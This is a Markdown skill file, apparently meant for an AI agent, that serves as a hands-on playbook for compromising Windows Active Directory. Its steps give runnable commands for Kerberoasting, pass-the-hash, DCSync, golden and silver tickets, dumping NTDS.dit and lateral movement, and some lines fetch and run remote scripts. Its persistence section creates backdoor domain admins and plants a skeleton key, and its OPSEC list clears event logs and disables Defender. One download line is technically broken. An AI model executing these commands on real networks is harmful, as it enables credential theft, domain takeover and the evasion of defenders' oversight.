Windows Active Directory Exploitation

---
name: windows-active-directory-exploitation
description: Exploit Active Directory environments (Kerberoasting, DCSync, Golden Ticket, Pass-the-Hash)
version: 1.0.0
author: harezadmm
tags: [active-directory, kerberos, ldap, domain-controller, windows, pentesting]
---

# Windows Active Directory Exploitation

## When to Use
Attacking Windows Active Directory environments to gain domain admin privileges, steal credentials, move laterally, and maintain persistence in enterprise networks.

## Prerequisites
- Access to domain-joined Windows machine
- Understanding of Active Directory architecture
- Knowledge of Kerberos authentication
- PowerShell access
- Tools: Mimikatz, Rubeus, Impacket, BloodHound

## Attack Vectors

### 1. Kerberoasting
Extract service account password hashes from TGS tickets.

### 2. AS-REP Roasting
Attack accounts without Kerberos pre-authentication.

### 3. Pass-the-Hash (PtH)
Use NTLM hashes to authenticate without passwords.

### 4. Pass-the-Ticket (PtT)
Use stolen Kerberos tickets to authenticate.

### 5. DCSync
Dump domain credentials from Domain Controller.

### 6. Golden Ticket
Forge TGT with krbtgt hash for domain persistence.

## Procedure

### Step 1: Domain Enumeration

**Basic domain information:**
```powershell
# Current domain
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()

# Domain controllers
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().DomainControllers

# Forest information
[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()

# Domain trusts
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()

# Current user
whoami /all
echo %USERDOMAIN%
echo %LOGONSERVER%

# Domain SID
whoami /user
```

**PowerView (PowerSploit) enumeration:**
```powershell
# Import PowerView
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')

# Get domain info
Get-Domain
Get-DomainController
Get-Forest
Get-DomainTrust

# Get all domain users
Get-DomainUser | Select samaccountname,description

# Find admin users
Get-DomainUser -AdminCount | Select samaccountname

# Get user properties
Get-DomainUser -Identity admin | Select *

# Find users with SPN (Kerberoastable)
Get-DomainUser -SPN | Select samaccountname,serviceprincipalname

# Get all domain computers
Get-DomainComputer | Select dnshostname,operatingsystem

# Find domain controllers
Get-DomainController | Select Name,IPAddress,OSVersion

# Get all groups
Get-DomainGroup | Select samaccountname

# Get group members
Get-DomainGroupMember -Identity "Domain Admins" | Select MemberName

# Find local admin access
Find-LocalAdminAccess

# Find computers where domain admin is logged in
Find-DomainUserLocation -UserGroupIdentity "Domain Admins"

# Get domain policy
Get-DomainPolicy
Get-DomainPolicy -Domain corp.local

# GPO enumeration
Get-DomainGPO | Select displayname
Get-DomainGPOLocalGroup | Select GPODisplayName,GroupName

# ACL enumeration (find ACL misconfigurations)
Get-DomainObjectAcl -Identity "Domain Admins" -ResolveGUIDs | Select SecurityIdentifier,ActiveDirectoryRights
```

**BloodHound (graph-based AD analysis):**
```powershell
# Download SharpHound
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Collectors/SharpHound.ps1')

# Run collector
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Temp\

# Or use SharpHound.exe
.\SharpHound.exe -c All -d corp.local

# Transfer BloodHound.zip to attacker machine
# Import into BloodHound GUI
# Query: "Find Shortest Path to Domain Admins"
```

**LDAP enumeration:**
```bash
# From Linux with valid credentials
ldapsearch -x -H ldap://dc.corp.local -D "CN=user,CN=Users,DC=corp,DC=local" -w 'password' -b "DC=corp,DC=local" "(objectClass=user)" samaccountname

# Enumerate users
ldapsearch -x -H ldap://dc.corp.local -D "user@corp.local" -w 'password' -b "CN=Users,DC=corp,DC=local" "(objectClass=user)" samaccountname description

# Enumerate computers
ldapsearch -x -H ldap://dc.corp.local -D "user@corp.local" -w 'password' -b "DC=corp,DC=local" "(objectClass=computer)" dnshostname operatingsystem

# Find SPNs
ldapsearch -x -H ldap://dc.corp.local -D "user@corp.local" -w 'password' -b "DC=corp,DC=local" "(servicePrincipalName=*)" servicePrincipalName samaccountname
```

### Step 2: Kerberoasting

**With Rubeus (Windows):**
```powershell
# Download Rubeus
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/GhostPack/Rubeus/master/Rubeus/Program.cs')

# Request TGS for all SPNs
.\Rubeus.exe kerberoast /outfile:hashes.txt

# Kerberoast specific user
.\Rubeus.exe kerberoast /user:sqlservice /outfile:hash.txt

# Request TGS in John format
.\Rubeus.exe kerberoast /format:john /outfile:hashes.john

# Request TGS in hashcat format
.\Rubeus.exe kerberoast /format:hashcat /outfile:hashes.hashcat

# Kerberoast with alternate credentials
.\Rubeus.exe kerberoast /user:sqlservice /domain:corp.local /dc:dc01.corp.local /creduser:CORP\user /credpassword:password
```

**With Impacket (Linux):**
```bash
# GetUserSPNs.py
python3 GetUserSPNs.py corp.local/user:password -dc-ip 192.168.1.10 -request

# Output hashes
python3 GetUserSPNs.py corp.local/user:password -dc-ip 192.168.1.10 -request -outputfile hashes.txt

# Save in hashcat format
python3 GetUserSPNs.py corp.local/user:password -dc-ip 192.168.1.10 -request-user sqlservice -outputfile hash.txt
```

**Crack Kerberoast hashes:**
```bash
# Hashcat (TGS-REP = mode 13100)
hashcat -m 13100 hashes.txt rockyou.txt --force

# John the Ripper
john --wordlist=rockyou.txt hashes.john
```

### Step 3: AS-REP Roasting

**With Rubeus:**
```powershell
# Find users with "Do not require Kerberos preauthentication"
.\Rubeus.exe asreproast /format:hashcat /outfile:asrep-hashes.txt

# AS-REP roast specific user
.\Rubeus.exe asreproast /user:victim /format:hashcat /outfile:hash.txt
```

**With Impacket:**
```bash
# GetNPUsers.py (no credentials needed if user has no preauth)
python3 GetNPUsers.py corp.local/ -usersfile users.txt -dc-ip 192.168.1.10 -format hashcat -outputfile asrep-hashes.txt

# With credentials to enumerate
python3 GetNPUsers.py corp.local/user:password -dc-ip 192.168.1.10 -request -format hashcat -outputfile hashes.txt
```

**Crack AS-REP hashes:**
```bash
# Hashcat (AS-REP = mode 18200)
hashcat -m 18200 asrep-hashes.txt rockyou.txt --force

# John
john --wordlist=rockyou.txt asrep-hashes.txt
```

### Step 4: Pass-the-Hash (PtH)

**With Mimikatz:**
```powershell
# Dump NTLM hashes from memory
privilege::debug
sekurlsa::logonpasswords

# Pass-the-hash to spawn new process
sekurlsa::pth /user:Administrator /domain:corp.local /ntlm:a87f3a337d73085c45f9416be5787d86 /run:cmd.exe

# New cmd will run as Administrator
# Use for lateral movement
```

**With Impacket (from Linux):**
```bash
# PSExec with hash
python3 psexec.py -hashes :a87f3a337d73085c45f9416be5787d86 administrator@192.168.1.100

# WMIExec with hash
python3 wmiexec.py -hashes :a87f3a337d73085c45f9416be5787d86 administrator@192.168.1.100

# SMBExec with hash
python3 smbexec.py -hashes :a87f3a337d73085c45f9416be5787d86 administrator@192.168.1.100

# DComExec with hash
python3 dcomexec.py -hashes :a87f3a337d73085c45f9416be5787d86 administrator@192.168.1.100
```

**With CrackMapExec:**
```bash
# Check if hash works on multiple hosts
crackmapexec smb 192.168.1.0/24 -u administrator -H a87f3a337d73085c45f9416be5787d86

# Execute command
crackmapexec smb 192.168.1.100 -u administrator -H a87f3a337d73085c45f9416be5787d86 -x "whoami"

# Dump SAM
crackmapexec smb 192.168.1.100 -u administrator -H a87f3a337d73085c45f9416be5787d86 --sam

# Dump LSA secrets
crackmapexec smb 192.168.1.100 -u administrator -H a87f3a337d73085c45f9416be5787d86 --lsa
```

### Step 5: Pass-the-Ticket (PtT)

**With Rubeus:**
```powershell
# Dump all tickets
.\Rubeus.exe dump /service:krbtgt

# Export ticket
.\Rubeus.exe dump /luid:0x3e7 /service:krbtgt /nowrap

# Inject ticket into current session
.\Rubeus.exe ptt /ticket:doIFzD...

# Request TGT with password
.\Rubeus.exe asktgt /user:admin /password:P@ssw0rd /domain:corp.local

# Request TGT with hash (overpass-the-hash)
.\Rubeus.exe asktgt /user:admin /rc4:a87f3a337d73085c45f9416be5787d86 /domain:corp.local /ptt

# Verify ticket injected
klist
```

**With Mimikatz:**
```powershell
# Dump tickets from memory
sekurlsa::tickets /export

# Inject ticket
kerberos::ptt ticket.kirbi

# List current tickets
kerberos::list

# Purge tickets
kerberos::purge
```

### Step 6: DCSync Attack

**Concept:** Replicate credentials from Domain Controller without code execution on DC.

**With Mimikatz:**
```powershell
# DCSync single user
lsadump::dcsync /domain:corp.local /user:Administrator

# DCSync krbtgt (for Golden Ticket)
lsadump::dcsync /domain:corp.local /user:krbtgt

# DCSync all users
lsadump::dcsync /domain:corp.local /all /csv

# Export to file
lsadump::dcsync /domain:corp.local /all /csv > dcsync-dump.txt
```

**With Impacket:**
```bash
# DCSync with credentials
python3 secretsdump.py corp.local/admin:password@dc01.corp.local -just-dc

# DCSync with hash
python3 secretsdump.py -hashes :a87f3a337d73085c45f9416be5787d86 corp.local/admin@dc01.corp.local -just-dc

# DCSync specific user
python3 secretsdump.py corp.local/admin:password@dc01.corp.local -just-dc-user krbtgt

# DCSync with NTDS.dit extraction
python3 secretsdump.py corp.local/admin:password@dc01.corp.local -just-dc-ntlm -outputfile hashes
```

**Prerequisites for DCSync:**
- Replicating Directory Changes (DS-Replication-Get-Changes)
- Replicating Directory Changes All (DS-Replication-Get-Changes-All)

Usually: Domain Admins, Enterprise Admins, or custom users with replication rights.

### Step 7: Golden Ticket Attack

**With Mimikatz:**
```powershell
# First, obtain krbtgt hash via DCSync
lsadump::dcsync /domain:corp.local /user:krbtgt
# Note the NTLM hash and Domain SID

# Create Golden Ticket
kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-1234567890-1234567890-1234567890 /krbtgt:a87f3a337d73085c45f9416be5787d86 /id:500 /ptt

# Verify ticket
klist

# Access DC
dir \\dc01.corp.local\c$
psexec.exe \\dc01.corp.local cmd.exe
```

**Golden Ticket with custom lifetime:**
```powershell
# Create ticket valid for 10 years
kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-1234567890-1234567890-1234567890 /krbtgt:a87f3a337d73085c45f9416be5787d86 /id:500 /startoffset:-10 /endin:87600 /renewmax:87600 /ptt
```

**With Impacket:**
```bash
# Create Golden Ticket
python3 ticketer.py -nthash a87f3a337d73085c45f9416be5787d86 -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -domain corp.local Administrator

# Export ticket
export KRB5CCNAME=Administrator.ccache

# Use ticket
python3 psexec.py -k -no-pass corp.local/Administrator@dc01.corp.local
```

### Step 8: Silver Ticket Attack

**Concept:** Forge TGS for specific service (doesn't require krbtgt hash).

**With Mimikatz:**
```powershell
# Obtain service account hash (e.g., machine account)
# Machine account hash = NTLM hash of computer account

# Create Silver Ticket for CIFS service
kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-1234567890-1234567890-1234567890 /target:dc01.corp.local /service:cifs /rc4:machine_account_hash /ptt

# Access file share
dir \\dc01.corp.local\c$

# Silver Ticket for HOST service (PSExec)
kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-1234567890-1234567890-1234567890 /target:dc01.corp.local /service:host /rc4:machine_account_hash /ptt

psexec.exe \\dc01.corp.local cmd.exe
```

### Step 9: Credential Dumping from Domain Controller

**NTDS.dit extraction:**
```powershell
# Method 1: Shadow copy (requires admin on DC)
wmic /node:dc01 /user:CORP\admin /password:password process call create "cmd /c vssadmin create shadow /for=C: 2>&1 > C:\vss.log"

# Copy NTDS.dit and SYSTEM hive
copy \\dc01\C$\Windows\NTDS\ntds.dit C:\temp\ntds.dit
reg save HKLM\SYSTEM C:\temp\system.hive

# On attacker machine, extract hashes
python3 secretsdump.py -ntds ntds.dit -system system.hive LOCAL -outputfile hashes
```

**With Invoke-Mimikatz:**
```powershell
# Remote execution on DC
Invoke-Mimikatz -ComputerName dc01.corp.local -Command '"lsadump::lsa /patch"'
```

**With CrackMapExec:**
```bash
# Dump NTDS.dit via VSS
crackmapexec smb dc01.corp.local -u admin -p password --ntds

# Dump NTDS.dit with drsuapi (DCSync)
crackmapexec smb dc01.corp.local -u admin -p password --ntds drsuapi
```

### Step 10: Lateral Movement

**PSExec:**
```powershell
# With credentials
psexec.exe \\target-pc cmd.exe

# With token (after PtH/PtT)
psexec.exe \\target-pc cmd.exe
```

**WMI:**
```powershell
# Execute command remotely
wmic /node:target-pc /user:CORP\admin /password:password process call create "cmd.exe /c whoami > C:\output.txt"

# PowerShell remoting
$cred = Get-Credential
Invoke-Command -ComputerName target-pc -Credential $cred -ScriptBlock { whoami }

# With PtH (after Mimikatz pth)
Invoke-Command -ComputerName target-pc -ScriptBlock { whoami }
```

**RDP with stolen credentials:**
```bash
# From Linux
xfreerdp /u:admin /pth:a87f3a337d73085c45f9416be5787d86 /d:corp.local /v:192.168.1.100

# Enable RDP via registry
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
```

**WinRM:**
```powershell
# Enable WinRM
Enable-PSRemoting -Force

# Connect with credentials
$cred = Get-Credential
Enter-PSSession -ComputerName target-pc -Credential $cred

# Execute commands
Invoke-Command -ComputerName target-pc -Credential $cred -ScriptBlock { Get-Process }
```

### Step 11: Domain Persistence

**Create privileged user:**
```powershell
# Create new domain admin
net user backdoor P@ssw0rd123! /add /domain
net group "Domain Admins" backdoor /add /domain

# Or via PowerShell
New-ADUser -Name "BackdoorUser" -AccountPassword (ConvertTo-SecureString "P@ssw0rd123!" -AsPlainText -Force) -Enabled $true
Add-ADGroupMember -Identity "Domain Admins" -Members "BackdoorUser"
```

**AdminSDHolder backdoor:**
```powershell
# Add user to AdminSDHolder (inherits Domain Admin rights)
Import-Module ActiveDirectory
$user = Get-ADUser backdoor
$acl = Get-Acl "AD:CN=AdminSDHolder,CN=System,DC=corp,DC=local"
$rule = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($user.SID, "GenericAll", "Allow")
$acl.AddAccessRule($rule)
Set-Acl "AD:CN=AdminSDHolder,CN=System,DC=corp,DC=local" $acl

# Wait 60 minutes for SDProp to run, or trigger manually
Invoke-Command -ComputerName DC01 -ScriptBlock { Get-ADObject -LDAPFilter "(objectClass=*)" -SearchBase "CN=AdminSDHolder,CN=System,DC=corp,DC=local" }
```

**Skeleton Key (Mimikatz):**
```powershell
# Inject skeleton key into LSASS on DC (allows any password)
privilege::debug
misc::skeleton

# Now any domain user can authenticate with password: "mimikatz"
# Original passwords still work
net use \\dc01\c$ /user:CORP\admin mimikatz
```

**DCShadow (rogue Domain Controller):**
```powershell
# Requires DA privileges
# Temporarily register as DC to make AD changes without logging

# Mimikatz on DC
lsadump::dcshadow /object:backdoor /attribute:primaryGroupID /value:512

# Push changes
lsadump::dcshadow /push
```

## Pitfalls

**EDR detection**: Modern EDR detects Mimikatz, Rubeus, suspicious PowerShell.

**Logging**: Windows Event Logs record Kerberos activity (Event ID 4769, 4768).

**LAPS**: Local Administrator Password Solution randomizes local admin passwords.

**Credential Guard**: Prevents credential dumping from LSASS.

**Protected Users Group**: High-value accounts in this group resist many attacks.

## Verification

```powershell
# Verify domain admin access
net group "Domain Admins" /domain

# Access DC
dir \\dc01.corp.local\c$

# Check tickets
klist

# Verify DCSync works
# Should return hashes
lsadump::dcsync /domain:corp.local /user:Administrator

# Test lateral movement
psexec.exe \\target-pc cmd.exe
```

## OPSEC

- Clear Event Logs: `wevtutil cl Security`, `wevtutil cl System`
- Use obfuscated PowerShell: `Invoke-Obfuscation`
- Disable Windows Defender: `Set-MpPreference -DisableRealtimeMonitoring $true`
- Clear PowerShell history: `Clear-History; Remove-Item (Get-PSReadlineOption).HistorySavePath`
- Use C2 frameworks: Cobalt Strike, Empire, Covenant (built-in OPSEC)
- Avoid Mimikatz on disk: use `Invoke-Mimikatz` in memory

## References

- ired.team Active Directory notes
- HarmJ0y PowerView documentation
- Mimikatz Wiki
- Impacket examples
- BloodHound documentation
- MITRE ATT&CK - Credential Access, Lateral Movement, Persistence